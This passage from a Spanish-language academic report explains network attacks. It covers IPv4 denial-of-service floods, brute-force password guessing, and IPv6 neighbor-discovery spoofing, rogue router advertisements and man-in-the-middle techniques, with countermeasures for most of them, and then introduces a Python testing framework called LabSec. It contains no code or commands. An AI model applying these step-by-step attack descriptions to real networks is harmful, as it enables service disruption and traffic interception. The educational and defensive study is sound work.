Este ataque de denegación de servicio es una variante del anterior (Net Fooding). El
atacante envía a la red grandes cantidades de tráfico ICMP echo-request (ping),
poniendo como IP destino la dirección de broadcast de la red, y como IP origen la
dirección de la máquina que debe ser atacada (IP spoofing).
Con estos mensajes ICMP fraudulentos, se consigue que todas las máquinas de la red
respondan a la vez a un mismo equipo (víctima), provocando un consumo del ancho de
banda disponible y saturando el host atacado.
Fig. 3-29. Ataque de Smurf
3.6.3. TCP SYN Flooding
El ataque consiste en el envío masivo de paquetes de establecimiento de conexión

(SYN, “Syncronize”) contra un host destino. La recepción de estas solicitudes provoca
que el host destino, objetivo del ataque, reserve cierta cantidad de memoria (buffers)
para almacenar los datos de las conexiones en curso.
El establecimiento de una conexión TCP requiere de tres pasos (three-way handshake).

Tras recibir el paquete SYN, la victima responde con un paquete SYN/ACK
(“Syncronize/Acknowledment”) permaneciendo a la espera del paquete final (ACK) que

confirma el establecimiento de la conexión TCP. La conexión permanece en un estado

semiabierto, concretamente SYN_RECEIVED. Pero el atacante no enviará nunca el
ACK esperado, provocando que el buffer (de tamaño finito) del host destino se sature
por conexiones incompletas, impidiendo establecer conexión a los clientes legítimos, y
por tanto denegando el servicio.
Asimismo, ciertos sistemas imponen un número máximo de conexiones en ese estado,

de manera que una vez alcanzado éste, no es posible establecer más conexiones. Tras
un periodo de tiempo controlado por un temporizador (que suele ser de 2 minutos), las
conexiones que continúan en ese estado expiran, permitiendo la creación de nuevas
conexiones. Esto solo es posible si el ataque TCP SYN Flooding ha cesado, ya que
mientras se mantenga, serán sus nuevos inicios de conexión los que ocupen el espacio
de buffer liberado por las sesiones expiradas.
3.6.4. Connection Flooding
Los servicios orientados a conexión (telnet, ftp, http…) tienen un límite máximo de
conexiones concurrentes soportadas; cuando este se alcanza, cualquier nueva conexión
es rechazada.
De forma similar al TCP SYN Flooding, si un atacante es capaz de monopolizar el límite

definido con conexiones de su propiedad que simplemente son establecidas, pero por
las que no se realiza ninguna comunicación posterior, el sistema no podrá brindar
servicios a los clientes legítimos.
Al igual que lo antes mencionado, las conexiones expiran progresivamente con el paso
del tiempo, pero un ataque persistente de apertura de conexiones puede mantener el
límite de las mismas en su valor máximo.
3.6.5. Ping of Dead
El ataque se basa en enviar un paquete ICMP echo request de un tamaño mayor al

permitido. El tamaño máximo de un paquete TCP/IP es de 64 Kbytes (65535 bytes), las
implementaciones de la pila TCP/IP asignan un buffer en memoria de ese tamaño. En
el caso de que la información sea mayor, el buffer puede desbordarse, ocasionando un
colapso o reinicialización del sistema, entre otros comportamientos no deseados.
Lo que sucede realmente es que el paquete emitido es fragmentado a nivel de IP en las

redes intermedias, los fragmentos van siendo encolados en el sistema destino hasta que
se reciban los últimos fragmentos restantes, que son los que desbordan el buffer,
provocando el comportamiento anómalo. Por lo tanto, el valor máximo de datos que se

puede enviar en un mensaje ICMP (descontando las cabeceras IP e ICMP) es de 65507

bytes (65535 - 20 - 8).
Se debe tener en cuenta que los sistemas operativos actuales no permiten el envío de
ping que superen el máximo tamaño permitido, se obtienen mensajes como “Error:
packet size 65510 is too large. Maximum is 65507” (Linux) o “Bad value for option -l,
valid range is from 0 to 65500” (Windows 10). Sin embargo, existen herramientas que
implementan el envío de paquetes mayores al límite permitido.
3.6.6. Land attack
Este permite bloquear un sistema mediante el envío de un paquete SYN cuya dirección
IP origen y destino es la misma. Existe una variación de este ataque en la que los puertos
origen y destino también son iguales. Para llevar a cabo este ataque se debe hacer uso
de IP Spoofing. Además, los puertos alcanzados por el ataque deben encontrarse
brindando el servicio correspondiente.
Contramedidas
No existe una solución perfecta contra ataques DoS, pero se pueden tomar un conjunto
de medidas para mitigar este tipo de ataques:
• Configurar correctamente el Firewall para realizar el filtrado de IPs no

permitidas y de protocolos que no sean necesarios.
• Limitar la tasa de tráfico proveniente de un único host.
• Limitar el número de paquetes TCP SYN por segundo.
• Limitar el número de conexiones concurrentes en el servidor.
• Restringir el uso del ancho de banda a aquellos hosts que cometan violaciones.
• Realizar un monitoreo de las conexiones TCP/UDP que se llevan a cabo en el
servidor (permite identificar patrones de ataque).
• En caso de contar con IDS (Sistema de detección de intrusos) estos pueden
detectar el mal uso de protocolos y posibles vectores de ataque.
3.7. Fuerza Bruta (Brute Force)
La fuerza bruta ha sido durante mucho tiempo una de las técnicas más usadas para
obtención de credenciales (usuario y contraseña). Suponiendo que el usuario ya se
conoce, el ataque consiste en obtener la respectiva contraseña probando todas las
posibles combinaciones de caracteres de manera automatizada, con la ayuda de un
software hasta dar con la contraseña correcta. Este ataque se puede aplicar a servicios

que usan mecanismos de autenticación por credenciales (como telnet, ftp, aplicaciones
web, etc.), como así también sobre archivos protegidos por contraseñas.
Este ataque es muy fácil de implementar. Sin embargo, la obtención de credenciales

con este método puede llegar a ser muy lenta. El éxito depende de la longitud de la
contraseña, de las capacidades de cómputo del host atacante y del tiempo de respuesta
del servicio objetivo.
La cantidad de operaciones requeridas para la obtención de una contraseña está dada

por la ecuación: 𝑁° 𝑑𝑒 𝑜𝑝𝑒𝑟𝑎𝑐𝑖𝑜𝑛𝑒𝑠 = 𝑥 𝑛 , donde x es el conjunto de caracteres
utilizado y n es la longitud de la contraseña.
Ejemplo: Suponga que se sabe que la contraseña buscada es numérica y de longitud 4.

Entonces x=10, pues hay 10 caracteres que conforman el conjunto de caracteres
(0,1,2,3,4,5,6,7,8,9). Por lo tanto: 𝑁° 𝑑𝑒 𝑜𝑝𝑒𝑟𝑎𝑐𝑖𝑜𝑛𝑒𝑠 = 104 = 10000. En el peor de
los casos se deben realizar 10000 operaciones para dar con la contraseña correcta.
La siguiente tabla muestra el tiempo requerido para un ataque de fuerza bruta según la
longitud de la contraseña y conjunto de caracteres utilizado. Se supone que el ataque se
lleva a cabo por una sola computadora y la capacidad de cómputo es de 500 contraseñas
por segundo.
Tabla 1. Tiempo estimado de un ataque de fuerza bruta.
Longitud de Conjunto de caracteres

contraseña [0-9] [a-z] [0-9] + [a-z] [0-9] + [a-z] + [A-Z] ASCII imprimibles
<=4 < 1 min 16 min 56 min 9 horas 48 hs
5 4 min 7 hs 34 hs 22 días 7 meses
6 34 min 8 días 51 días 4 años 51 años
7 6 horas 7 meses 6 años 227 años 4832 años
8 56 horas 14 años 182 años 14040 años 463857 años
9 24 días 350 años 6531 años 870441 años 44530221 años
Una variación de fuerza bruta es el ataque de diccionario. Este utiliza un archivo de

texto plano (wordlist) con contraseñas candidatas a probar en el sistema de
autenticación.
Contramedidas
• Forzar al usuario a usar contraseñas más complejas.

o Usar contraseñas de una longitud razonable.
o Incluir en las contraseñas caracteres alfanuméricos y caracteres
especiales.
• Establecer un número máximo de intentos para acceder al servicio antes de
bloquearlo.

• Usar doble factor de autenticación. Hoy en día hay servicios que lo ofrecen
integrado y de manera gratuita, como pueden ser Google, Twitter y Linkedin.
Estos servicios normalmente envían un mensaje al teléfono celular del usuario
con un código de verificación. El usuario no podrá acceder al servicio hasta que
introduzca dicho código.

4. Ataques en redes IPv6
4.1. Introducción
El Protocolo de Internet versión 6 (IPv6), definido en el RFC 2460, es la última versión

del protocolo IP. Fue diseñado para reemplazar al protocolo IPv4 (RFC 791), y
solucionar muchos de los problemas de diseño presentes en este, principalmente su
limitado esquema de direccionamiento.
El nuevo protocolo IPv6 no sólo produce una mejora del rango de direccionamiento,
sino que también introduce nuevos mecanismos de configuración que suponen grandes
ventajas respecto a IPv4. Sin embargo, IPv6 no sólo trae ventajas respecto a IPv4,
también conlleva a la aparición nuevos riesgos de seguridad y ataques.
Conocer el funcionamiento de IPv6 es fundamental para la protección de una red.

Es muy habitual que administradores de red configuren firewalls, sistemas de detección
de intrusos (IDS) y otros mecanismos de protección, para detectar la mayoría de los
ataques en redes con direccionamiento IPv4, pero no hacen lo mismo con las amenazas
presentes en IPv6. Esto se debe en gran parte a que muchos administradores desconocen
que IPv6 está presente en sus redes. Actualmente muchos sistemas operativos (entre
ellos Windows y Linux) tienen por defecto habilitada la autoconfiguración de
direcciones IPv6 y con ello, tienen una dirección link-local que se autoconfigura al
habilitar la interfaz de red. Esto da la posibilidad a un atacante de realizar ataques a
IPv6 dentro del segmento de red local. Además, se debe tener en cuenta que, según la
configuración del sistema operativo, IPv6 puede tener por defecto prioridad sobre IPv4.
Es por ello que en este capítulo se hace un repaso de las principales características del
protocolo IPv6, para luego abordar los aspectos de seguridad más relevantes que expone
la implementación de IPv6 y la forma de tratarlos.
Características de IPv6
A continuación, se comentan algunas de las mejoras y características más sobresalientes

del protocolo IPv6:
• Espacio de direcciones expandido: se utilizan direcciones de 128 bits. Esto

implica un espacio de direcciones mucho más amplio que en IPv4 (de 32 bits).
• IPv6 no implementa broadcast, aunque pueden enviarse paquetes a la dirección

multicast llamada all-nodes con un efecto análogo.
• Mecanismo de opciones mejorado: En IPv4 las opciones se anexaban a la propia

cabecera del protocolo, lo que hacía que esta tuviera una longitud variable.
En IPv6, las opciones se añaden en forma de cabeceras de extensión, pudiendo
incluirse ninguna, una o varias en un mismo paquete.
Capítulo 4 – Ataques en redes IPv6 52

Esta nueva forma de incluir opciones hace que los paquetes sean más simples y
que el procesamiento de éstos sea mucho más rápido.
• La cabecera IPv6 es de tamaño fijo (40 bytes) y tiene un diseño simplificado,

posee menos campos que IPv4.
• Se integran algunas características de seguridad, entre las que destaca la

obligatoriedad del soporte a IPSec (Internet Protocol Security), protocolo
utilizado para cifrado y autenticación IP.
• Elimina el uso de PAT/NAT: En IPv6 las direcciones IPs son públicas dentro
y fuera de la organización. Esto permite implementar aplicaciones
problemáticas de resolver con NAT/PAT como voz sobre IP, Peer-to-peer,
video conferencia.
• Autoconfiguración de direcciones: IPv6 provee un mecanismo alternativo a

DHCP para la asignación dinámica de direcciones IP. Este mecanismo se
conoce como SLAAC (Stateless Address AutoConfiguration). Aunque también
es posible una configuración dinámica usando DHCPv6 (Dynamic Host
Configuration Protocol para IPv6).
• Existen tres tipos de direcciones IPv6

o Unicast: se usan para identificar a una interfaz en un host. Existen varios
tipos de direcciones unicast:
- Global unicast: Son direcciones globalmente ruteables y
alcanzables en la Internet (prefijo 2000::/3). Son el equivalente a
las direcciones IPv4 públicas.
- Unique local unicast: Son direcciones usadas dentro de la red
corporativa, no ruteables a Internet (prefijo FC00::/7). Son el
equivalente a las direcciones IPv4 privadas, pero globalmente
únicas.
- Link-local unicast: Son direcciones que están confinadas al
enlace local (prefijo FE80::/10). No son ruteables (son similares
a las direcciones APIPA). Se crean automáticamente cuando se
habilita una interfaz IPv6.
- Unspecified address: usada para denotar “este host” (::/128).
- Looback address: Usada para el testeo del stack de protocolos
(::1/128).
o Multicast: se usan para identificar a un grupo de interfaces. Un paquete
enviado a una dirección multicast es entregado a todos los dispositivos
identificados por dicha dirección (prefijo FF00::/8)
o Anycast: una dirección anycast puede ser asignada a más de una
interfaz. Un paquete enviado a una dirección anycast se entrega a la
interfaz más próxima al origen, desde el punto de vista de las métricas
de ruteo. Este tipo de dirección no tiene un prefijo definido, usan el
mismo rango que las direcciones globales.

• ICMPv6 es la nueva versión de ICMP (Internet Control Message Protocol) y es

una parte importante de la arquitectura IPv6, que debe estar completamente
soportada por todas las implementaciones de IPv6.
• En IPv6 se introduce el protocolo NDP (Neighbor Discovery Protocol). Este

protocolo funciona usando 5 mensajes ICMPv6: Router Solicitation (RS),
Router Advertisement (RA), Neighbor Solicitation (NS), Neighbor
Advertisement (NA) y Redirect. Este protocolo permite implementar un gran
número de funcionalidades (que en IPv4 eran resueltas por otros protocolos),
algunas de ellas son:
o Address Resolution: resolver direcciones IPv6 a direcciones de

hardware (o MAC en una LAN Ethernet). Remplaza al protocolo ARP.
o Router Discovery: descubrir un gateway en el mismo enlace.
o Prefix Discovery: saber que prefijos de red hay en el enlace y poder
determinar cuáles son alcanzados a través de un gateway.
o Parameter Discovery: descubrir parámetros de red del enlace (MTU,
hop limit, etc.)
o Stateless Address AutoConfiguration (SLAAC): autoconfiguración de
su dirección IPv6 sin necesidad de usar un servidor DHCPv6 (statefull).
o Duplicate Address Detection (DAD): determina si la dirección IPv6 ya
está siendo utilizada en el segmento.
o Neighbor Unreachability Detection (NUD): descubrir cuando un nodo
ya no es accesible en el segmento.
o Redirect function: recibir información de un router sobre una mejor ruta
para llegar a un determinado destino.
4.2. Escaneo de redes IPv6
Las técnicas de escaneo de direcciones IPv4 vistas en la sección 3.2.2, se basan en su

mayoría en métodos de fuerza bruta, en los que se barre un rango (por lo general
pequeño) de direcciones IPs, enviando paquetes de sondeo a cada dirección del rango
y esperando una respuesta desde dicha dirección que delate la presencia de un nodo en
la red. Sin embargo, este tipo de escaneo tradicional resulta impráctico en IPv6, debido
al extenso rango de escaneo, donde el tamaño predeterminado de la Interface ID es de
64 bits, es decir, los nodos se pueden ocultar en cualquiera de las 264 direcciones de la
red. Esto hace que los ataques de escaneo de direcciones IPv6 por fuerza bruta sean
inviables, debido al tiempo y recursos que conlleva barrer el extenso rango direcciones.
Por estas razones en esta sección se exploran algunas técnicas alternativas para
descubrir nodos en IPv6. Muchas de ellas basadas en el comportamiento humano,
patrones y en estándares de autoconfiguración propios de IPv6, con la finalidad de
reducir el espacio de búsqueda de direcciones IPv6.

Descubrimiento de dispositivos a través de Sniffing
Es posible realizar una enumeración de los nodos presentes en un segmento de red

escuchando su tráfico, en especial los mensajes NDP: Neighbor Advertisement,
Neighbor Solicitation y Router Advertisement.
El monitoreo se realiza usando herramientas que permitan analizar el tráfico de la red
(sniffers). Existe una gran variedad de ellas, siendo las más populares Wireshark y
TCPDump.
Mapeo de direcciones IPv6 con Interface ID generadas a través del algoritmo

Modified EUI-64
En el proceso de autoconfiguración de direcciones sin estado (SLAAC) el nodo que

inicia en una red obtiene el prefijo de red y su longitud (/64) a través de un mensaje
Router Advertisement enviado por el router.
La Interface ID de la dirección IPv6 es generada por el host típicamente a través de un

proceso llamado EUI-64. Este algoritmo emplea la propia dirección MAC del equipo
para generar el Interface ID de la dirección IPv6 que se va a configurar.
La dirección física (MAC) de un host sólo posee 48 bits y el Interface ID requiere de

64 bits, por lo tanto, se inserta el valor hexadecimal 0xFFFE entre el OUI (Identificador
único Organizacional) y el Device Identifier de la dirección MAC, con ello se completa
los 64 bits, además se invierte el Universal/Local bit (7 bit del primer byte). En la
siguiente figura se muestra dicho procedimiento:
Fig. 4-1. Algoritmo Modified EUI-64

El problema de este mecanicismo, desde el punto de vista de la seguridad, es que

permite mapear direcciones MAC con direcciones IPv6, es decir, conociendo la
dirección MAC de un equipo se puede conocer la IPv6 que usa.
Predicción de direcciones IPv6 otorgadas por el servidor DHCP
DHCPv6 se emplea para la autoconfiguración de direcciones IPv6 con estado (stateful).

Al igual que con su contraparte de IPv4 las direcciones se asignan de acuerdo con una
política y un rango de direcciones definidos en la configuración del servidor. Algunos
servidores DHCPv6 asignan las direcciones de forma secuencial desde un rango
específico. En tales casos, las direcciones tienden a ser predecibles.
Por ejemplo, si el prefijo 2001:db8::/64 se usa para asignar direcciones en la red local,
el servidor DHCPv6 puede asignar secuencialmente direcciones del rango 2001:db8::1
- 2001: db8 :: 100.
En los escenarios más comunes esto significa que el espacio de búsqueda de las
Interface ID se reduce de los 64 bits originales, a 8 o 16 bits.
Escaneo de direcciones IPv6 en redes locales
El escaneo de direcciones IPv6 en redes de área local puede considerarse, en cierta

medida, un problema completamente diferente al escaneo de una red IPv6 remota. La
principal diferencia es que el uso de direcciones de multidifusión de enlace local puede
facilitar al atacante la búsqueda de direcciones unicast en un gran espacio de
direcciones IPv6.
Un atacante puede simplemente enviar un mensaje ICMPv6 Echo Request dirigido a la

dirección multicast de enlace local all-nodes (FF02::1). Todos los dispositivos del
segmento reciben el mensaje y responden al atacante con un mensaje ICMPv6 Echo
reply, delatando su presencia en el segmento de red.
Dado que los sistemas operativos Windows (Vista, 7, 10, etc.) no responden a los
mensajes ICMPv6 Echo Request enviados a direcciones de multidifusión, se pueden
emplear otras técnicas de sondeo, por ejemplo, enviar paquetes IPv6 con opciones
invalidas (no reconocidas), para que la víctima al procesar el paquete genere un mensaje
de error ICMPv6 Parameter Problem (código 2) con destino al atacante.
Contramedidas
A continuación, se listan una serie de contramedidas para mitigar estos tipos de

escaneos:
• Evitar el uso de direcciones secuenciales en la asignación dinámica de DHCPv6.

Idealmente, el servidor DHCPv6 debe asignar direcciones aleatorias de un rango
grande.

• Configurar los hosts para que generen las Interface ID de forma aleatoria
(evitar el uso de EUI-64).
• El uso de sistemas detección de intrusos (IDS) y firewall ayuda a mitigar
ataques de exploración.
4.3. Rogue Router Advertisement Attack
Este método se aprovecha del mecanismo de mensajes de aviso usado por el método
SLAAC para propagar información de configuración en el segmento de red,
concretamente se aprovecha de los mensajes ICMPv6 RA (Router Advertisement)
enviados por el router, tanto en anuncios periódicos, como en respuesta a mensajes
Router Solicitation (RS).
El principal problema del protocolo NDP es que sus mensajes no están protegidos. Los
nodos que reciben mensajes NDP no pueden distinguir entre mensajes NDP legítimos
y falsos. Este es un gran problema de seguridad, ya que un atacante puede hacerse pasar
un router legítimo y proporcionar a los hosts información maliciosa en su configuración
(MTU, prefix, router lifetime, etc) para interrumpir su conectividad (Denegación de
Servicio) o, peor aún, capturar sus datos (Man in the Middle).
Ataque de MITM basado en Rogue Router Advertisement
El procedimiento para llevar a cabo este ataque se describe a continuación con un

ejemplo. En la siguiente figura se muestra el escenario, donde además se observan los
mensajes RA periódicos enviados por el router legítimo a todos los nodos del segmento:
Fig. 4-2. Escenario de ataque.

Primero el atacante debe asegurarse que su configuración será la elegida, esto lo logra
enviando de forma periódica mensajes RA haciéndose pasar por el router legítimo (por
medio de spoofing), usando sus mismos parámetros de configuración, salvo el campo
router lifetime que lo pone en valor cero, esto le indica a la víctima que el router
legitimo ya no es un default router valido, forzándola a eliminar al default router de su
tabla de ruteo.
Fig. 4-3. Desconfiguración de default router de la víctima.
Luego, el atacante crea otro anuncio de router, pero esta vez se anuncia a sí mismo
como un default router válido. El mensaje RA enviado tiene un router lifetime mayor
a cero y en la opción source link-layer la dirección MAC del atacante (ver Fig. 4-4). De
esta manera el nodo victima queda engañado con la configuración maliciosa y todos los
paquetes enviados hacia fuera de la red local son redirigidos hacia el nodo del atacante.
Para evitar una interrupción en la comunicación, el atacante luego debe reenviar los
paquetes capturados hacia el default router legítimo, en caso contrario se produce una
denegación de servicio. Sin embargo, el tráfico que fluye de regreso a la víctima se
envía directamente a ella (sin pasa a través del host atacante), es decir, se trata de un
ataque MITM en una sola dirección (half-MITM).

Fig. 4-4. Rogue Router Advertisement attack
Se puede destacar que los mensajes RA maliciosos enviados por el atacante van
dirigidos a la dirección multicast all-nodes (FF02::1), en consecuencia, este ataque
afecta a todos los nodos del segmento. Sin embargo, también se pueden enviar estos
mensajes RA a la dirección unicast de la víctima, para hacer un ataque selectivo dentro
del segmento de red.
4.4. RA Parameter Spoofing
El atacante envía un mensaje RA haciéndose pasar por el router legítimo, pero

cambiando los parámetros del mensaje (hop limit, preferred lifetime, etc.) de forma que
se interrumpa el tráfico legítimo. Si el valor del campo current hop limit es 1 u otro
valor pequeño, los paquetes enviados por el host que recibe esta configuración, serán
eliminados antes de llegar a su destino.
También puede implementarse un servidor DHCP malicioso y activar los flags M y O
en el mensaje RA, permitiendo al DHCP malicioso gestionar la autoconfiguración de
direcciones de los nodos.

4.5. Flood Router Advertisement
Un equipo con una dirección IPv6 link-local no puede rutear su tráfico si no tiene una
dirección IPv6 de sitio o global, es por eso que los routers, a través del mecanismo
SLAAC, envían mensajes RA (Router Advertisement) indicando a los equipos cómo
deben configurase para tener conectividad a través de ellos.
Como en el segmento de red puede haber más de un router, los equipos clientes IPv6
permiten configurar tantas direcciones como mensajes RA reciban de los diferentes
routers. Esto puede ser aprovechado por un atacante para realizar una denegación de
servicio sobre un host, al inundar el segmento de red con mensajes RA usando
diferentes prefijos, de manera que el host victima procese los mensajes y configure una
dirección IPv6 con cada prefijo anunciado, elevando así su consumo de CPU hasta
bloquearse.
Este ataque afecta principalmente a equipos con sistema operativo Windows (ver Fig.
4-5) y a versiones antiguas de Linux, Solaris, OS X, FreeBSD.
Fig. 4-5. Inundación de paquetes RA a un equipo Windows.
Contramedidas
Los switches actuales implementan una funcionalidad llamada RA Guard, es un

mecanismo de prevención contra ataques basados en mensajes Router Advertisement

(Rogue RA, Parameter Spoofing RA y Flood RA). La funcionalidad RA Guard permite

inspeccionar los anuncios de router que ingresan al switch y diferencia entre dos tipos
de puertos: por un lado, los puertos confiables (trusted port) y, por otro, puertos no
confiables (untrusted port). El switch descarta aquellos mensajes RA que sean recibidos
en un puerto no confiable o, dicho de otra manera, solo conmuta aquellos RA recibidos
en puertos confiables. Su funcionamiento es similar al de DHCP Snooping visto en la
sección 3.3.4.
4.6. Neighbor Spoofing
El Protocolo de Descubrimiento de Vecinos (NDP) utiliza los mensajes ICMPv6

Neighbor Solicitation (NS) y Neighbor Advertisement (NA) para implementar el
proceso de resolución de direcciones IPv6 a direcciones de hardware.
Un nodo A antes de poder enviar un paquete a un nodo B, debe determinar la dirección

MAC de este. Por lo tanto, busca en su caché vecino si existe una traducción de la IPv6
del nodo B a la MAC correspondiente; al no existir dicha traducción, el nodo A envía
un mensaje NS a una dirección multicast solicited-node, como se muestra en la Fig. 4-
6. Al recibir este mensaje el nodo B, responde con un NA (paquete unicast al nodo A).
Al igual que ARP, el nodo B aprovecha el mensaje recibido para adicionar la entrada
IPv6 – MAC a su caché vecino. Al recibir el nodo A el mensaje NA, incorpora la entrada
IPv6 – MAC en su propio caché. A partir de ese momento el nodo A puede enviar el
paquete al nodo B.
Fig. 4-6. Proceso de resolución de direcciones.

El funcionamiento de Neighbor Spoofing es prácticamente análogo a ARP Spoofing.
Existen dos formas de realizarlo:
1) Enviar un mensaje NA a la víctima, poniendo la dirección IPv6 del nodo a

suplantar y en la opción Target Link-layer Address la dirección MAC cambiada.
La victima al recibir este mensaje almacena en su caché vecino una resolución
IPv6 – MAC falseada.
2) Enviar un mensaje NS a la víctima, usando como dirección origen la IPv6 del
nodo a suplantar y en opción Sourse Link-layer Address la dirección MAC
cambiada. El efecto es el mismo que en el caso anterior, la victima almacena en
su caché vecino una resolución IPv6 – MAC falseada.
Un ataque de Neighbor Spoofing permite realizar ataques de Man in the Middle y de

denegación de servicios, como se muestra a continuación.
MITM basado Neighbor Spoofing
Para realizar un Man in the Middle basta con enviar un mensaje NA a los dos equipos
a los que se quiere hacer el ataque, poniendo en ambos la dirección IPv6 del otro, y la
dirección MAC del atacante, como se muestra en la siguiente figura.
Fig. 4-7. MITM basado en Neighbor Spoofing
Cuando el host A y el host B reciben el mensaje NA, agregan a su respectiva caché

vecino la entrada falseada. A partir de este momento todos los datagramas
intercambiados entre las victimas pasaran por el host del atacante.

DoS basado Neighbor Spoofing
Para realizar un ataque de denegación de servicio, el atacante envía a la víctima un

mensaje NA con una MAC inexistente. Por lo general este ataque se usa para
interrumpir la comunicación de un host con su default router.
Fig. 4-8. DoS basado en Neighbor Spoofing
Cuando la víctima recibe el mensaje NA, su caché vecino queda envenenada. A partir
de este momento la víctima no podrá enviar datagramas hacia fuera de su red, puesto
que la IP del default router es resuelta a una MAC inexistente.
Este ataque DoS tiene una duración limitada, ya que después de 30-50 segundos, el
mecanismo NUD descartará la entrada incorrecta. Por lo tanto, el atacante debe realizar
el envenenamiento de forma periódica, si desea mantener el ataque por más tiempo.

4.7. NDP Table Exhaustion

El objetivo de este ataque de denegación de servicio es llenar el caché vecino de la
víctima, que intenta resolver direcciones IPv6 con un prefijo válido, pero con una
Interface ID no asignada. Este ataque afecta tanto a hosts como a routers y es
particularmente dañino en el caso de los enlaces troncales punto a punto, que pueden
transportar grandes cantidades de tráfico a muchos destinos.
El uso de un prefijo de subred /64 en un enlace entre routers facilita este ataque. Esto
se debe a las limitaciones en el número de entradas que puede almacenar el cache vecino
de los routers, frente a las 264 direcciones que puede haber en la subred.
Para comprender como funciona el ataque, considere un enlace Ethernet entre dos
routers, R1 y R2, a los que se ha asignado una subred /64 (ver Fig. 4-9). Un paquete
enviado a cualquier dirección de las 264 (excepto las direcciones de las interfaces de R1
y R2) hace que el router que intenta reenviarlo cree una nueva entrada en la caché en
estado Incomplete y envíe un mensaje de Neighbor Solicitation (NS) en el enlace, inicie
un temporizador de retransmisión, y así sucesivamente.
Al enviar un flujo continuo de paquetes a un gran número de direcciones no asignadas

en el enlace, un atacante puede causar que un router cree una gran cantidad de entradas
en su cache vecino y que envié una gran cantidad de mensajes NS que nunca recibirán
respuesta, por lo que consumen grandes cantidades de memoria y recursos de
procesamiento, que derivan en una denegación de servicio.
Si bien hay varias formas de mitigar este ataque, la asignación de subredes /127 en
enlaces punto a punto lo elimina por completo.
Fig. 4-9. Ataque NDP table Exhaustion

4.8. DAD DoS Attack
El proceso DAD (Duplicate Address Detection) permite detectar la duplicidad de

direcciones unicast, sean estas locales o globales. Este proceso usa mensajes NS y NA
para su funcionamiento y se ejecuta cada vez que se configura una dirección IP en una
interfaz para comprobar su unicidad antes de pasar al estado preferred. En caso de
detectar duplicidad de la IP tentativa, esta no se configura y el host genera una nueva
IP tentativa, iniciándose nuevamente el proceso DAD. La siguiente figura muestra su
funcionamiento:
Fig. 4-10. Proceso DAD
Un atacante puede aprovecharse de este proceso para realizar un ataque de denegación

de servicio, impidiendo a un host que ingresa a la red, configurar una dirección IP. El
atacante escucha el tráfico de la red y responde a todos los intentos de DAD que haga
un host que quiere autoconfigurarse. Si el atacante dice estar usando esa dirección, la
víctima no podrá configurar dicha dirección. En la siguiente figura se muestra el ataque:

Fig. 4-11. DAD DoS Attack
4.9. Spoofed Redirect Message
Los routers utilizan mensajes de redirección (ICMPv6 Redirect) para indicar a un host
que existe una ruta más directa hacia una red destino. El mensaje contiene la dirección
link-local del router por el cual la ruta hacia el destino es más eficiente. El host al recibir
este mensaje actualiza su tabla de ruteo con dicha dirección.
Un atacante que se encuentra en el mismo segmento de red que el nodo víctima, puede
enviar a esta un mensaje ICMPv6 Redirect simulando ser el legítimo first-hop router,
suplantando la dirección link-local de este e indicando una dirección arbitraria de
redirección (por lo general el atacante pone su propia dirección link-local para hacer un
MITM). El nodo victima acepta el mensaje Redirect porque viene de la dirección de su
first-hop router y actualiza su tabla de ruteo. El ataque de redirección puede ser usado
para realizar un MITM o un DoS.
Mientras el atacante responda a los NUD-Probes dirigidos a la nueva dirección link-

local el ataque seguirá teniendo efecto.
Contramedidas:
Las amenazas al protocolo Neighbor Discovery vistas a lo largo del presente capítulo
pueden ser mitigadas con la implementación del protocolo SeND (Secure Neighbor
Discovery) definido en el RFC 3971.
El protocolo SeND se aplica en entornos en los que la seguridad física en el enlace no
está garantizada (por ejemplo, en redes inalámbricas) y se basa en la inclusión de

información criptográfica para la autenticación del router, validación de información

de configuración del enlace y validación de la dirección IPv6 de otros nodos conectados
al enlace.

5. Framework de seguridad
5.1. ¿Qué es un Framework?
Definición de Framework
La palabra inglesa "framework" (marco de trabajo) define, en términos generales, un

conjunto estandarizado de conceptos, prácticas y criterios para enfocar un tipo de
problemática particular que sirve como referencia para enfrentar y resolver nuevos
problemas de índole similar.
En el desarrollo de software, un framework es una aplicación reutilizable y semi-

completa que puede ser especializada para producir aplicaciones individualizadas. Es
una abstracción de software que proporciona una funcionalidad genérica, que debe ser
cambiada de forma selectiva por el código adicional escrito por el usuario, lo que genera
el software de aplicación específica.
5.2. LabSec Framework
LabSec es el nombre del Framework de seguridad desarrollado para este proyecto. En

las próximas secciones se tratan aspectos sobre su diseño y funcionamiento, como así
también, una minuciosa evaluación de las diferentes pruebas de seguridad llevadas a
cabo usando la herramienta.
5.2.1. Diseño del Framework
Para el desarrollo del Framework LabSec se optó por el diseño de una arquitectura
sencilla, como muestra la Fig. 5-1, y conformada por los siguientes componentes:
Interfaz: la interacción del usuario con el framework se realiza a través de una terminal
o consola. Para ejecutar el framework se requiere de permisos de superusuario (root).
Intérprete de comandos: su función es procesar los comandos y datos proporcionados

por el usuario a través de la Interfaz.
El intérprete se implementa en dos archivos. labsec.py hace la carga del framework en

memoria y procesa los comandos que ingresa el usuario; por otro lado, en el archivo
comandos.py se encuentran definidos todos los comandos que usa el framework. Se
diseñó de esta manera para facilitar su modificación y adición de nuevos comandos.
Capítulo 5 – Framework de seguridad 68

Módulos: los módulos implementan las diferentes pruebas de seguridad. Estos son
cargados en memoria por el usuario de forma dinámica, en tiempo de ejecución, por un
comando llamado load. Los módulos se agrupan en categorías según el tipo de ataque
que realizan.
Fig. 5-1. Esquema de la Arquitectura del Framework LabSec
5.2.2. Tecnologías involucradas
Fig. 5-2. Tecnologías usadas en el desarrollo del framework

Sistema Operativo: se utiliza el sistema operativo Linux Parrot como plataforma de

desarrollo y ejecución del Framework LabSec. Su elección se debe a que muchas de las
herramientas (como Wireshark, Nmap, etc) usadas en las pruebas, vienen instaladas por
defecto en dicha distribución. Sin embargo, el framework puede ejecutarse en cualquier
otra distribución Linux.
Lenguaje de Programación: LabSec está programado íntegramente en Python 3, el

cual es un lenguaje de programación interpretado apropiado para scripting, y que
gracias a sus cualidades ha llegado a convertirse en un lenguaje muy popular. La
elección de Python para este proyecto se debe principalmente a sus características:
• Simplicidad: python es un lenguaje muy simple. El seudocódigo natural de

Python es una de sus grandes fortalezas.
• Propósito General: se puede crear todo tipo de programas; de propósito general
y también se pueden desarrollar páginas Web.
• Open Source: debito a la naturaleza Open Source de Python; ha sido
modificado para que pueda funcionar en diversas plataformas como, por
ejemplo: Linux, Windows, Macintosh, Solaris, entre otras.
• Lenguaje Multiparadigma: soporta programación orientada a objetos,
programación imperativa y, en menor medida, programación funcional.
• Lenguaje de Alto Nivel: abstrae al programador de los detalles de bajo nivel,
(como manejar la memoria empleada por el programa).
